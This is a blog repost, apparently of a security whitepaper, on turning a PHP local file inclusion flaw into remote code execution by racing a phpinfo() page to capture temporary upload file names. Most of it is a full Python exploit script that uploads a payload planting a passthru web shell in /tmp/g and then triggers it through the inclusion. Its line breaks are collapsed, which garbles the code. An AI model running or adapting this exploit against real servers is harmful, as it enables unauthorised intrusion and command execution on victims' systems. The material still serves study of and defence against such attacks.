[Insomniasec.com] LFI WITH PHPINFO() ASSISTANCE
During assessments it is still common to find LFI vulnerabilities when testing PHP applications. Depending on the server configuration it is often possible to convert these into code execution primitives through known techniques such as;
/proc/self/environ
/proc/self/fd/...
/var/log/...
/var/lib/php/session/ (PHP Sessions)
/tmp/ (PHP Sessions)
php://input wrapper
php://filter wrapper
data: wrapper
The research in this whitepaper is an extension of the published work by Gynvael Coldwind in the paper
“PHP LFI to arbitratry code execution via rfc1867 file upload temporary files”
In that paper, the author documents information related to how the PHP file upload feature works. In particular he notes that if file_uploads = on is set in the PHP configuration file, then PHP will accept a file upload post to any PHP file. He also notes that the upload file will be stored in the tmp location, until the requested PHP page is fully processed.
This is also included in the PHP documentation;
The file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.
In the paper, Gynvael Coldwind, includes a method of exploiting this behaviour on Windows systems through the use of the FindFirstFile quirk. This behaviour is documented in the paper;
Oddities of PHP file access in Windows®. Cheat-sheet, 2011 (Vladimir Vorontsov, Arthur Gerkis)
Although unrelated to LFI research, the following paper is interesting reading material for PHP web application security researchers. It documents a behavioural issue with PHP scripts handling when invoked through the HEAD HTTP verb;
HTTP HEAD method trick in php scripts (Adam Iwaniuk)
The FindFirstFile quirk does not affect the PHP engine on GNU/Linux; however under certain conditions exploitation of the PHP file upload feature is still possible. This paper details one of these conditions, which becomes available when access to a script that outputs the results of a phpinfo() call, is available on the target server.
LFI With PHPInfo() Assistance
The following server side components are required to satisfy this exploitable condition;
LFI Vulnerability
A local file inclusion vulnerability is required to exploit. This script will be used to include the file uploaded through the PHPInfo script.
PHPInfo() script
Any script that displays the output of the PHPInfo() function will do. In most cases this will be
/phpinfo.php
Source code:
#!/usr/bin/python import sysimport threading import socket
def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAGREQ1_DATA="""-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding="A" * 5000REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" %(len(REQ1_DATA),host,REQ1_DATA)#modify this to suit the LFI scriptLFIREQ="""GET /lfi.php?load=%s% HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r"""return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))
s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =>")fn = d[i+17:i+31]except ValueError:return None
s2.send(lfireq % (fn, host))d = s2.recv(4096) s.close() s2.close()
if d.find(tag) != -1:return fn
counter=0class ThreadWorker(threading.Thread):def init (self, e, l, m, *args):threading.Thread. init (self)self.event = eself.lock = l self.maxattempts = m self.args = args
def run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:return counter+=1
try:x = phpInfoLFI(*self.args)if self.event.is_set():break if x:print "\nGot it! Shell created in /tmp/g" self.event.set()
except socket.error:return
def getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)
d = ""while True:i = s.recv(4096)d+=iif i == "":break# detect the final chunkif i.endswith("0\r\n\r\n"):breaks.close()i = d.find("[tmp_name] =>")if i == -1:raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)# padded up a bit return i+256
def main():print "LFI With PHPInfo()" print "-=" * 30
if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)
try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)
port=80 try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)
poolsz=10 try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)
print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush()
maxattempts = 1000e = threading.Event()l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush()
tp = []for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:t.start()try:while not e.wait(1):if e.is_set():break with l:sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakif e.is_set():print "Woot! \m/"else:print ":("except KeyboardInterrupt:print "\nTelling threads to shutdown..."e.set()
print "Shuttin' down..." for t in tp:t.join()if name ==" main ":main()
Comments
Post a Comment
Để lại góp ý của bạn để blog của mình hoàn thiện hơn :))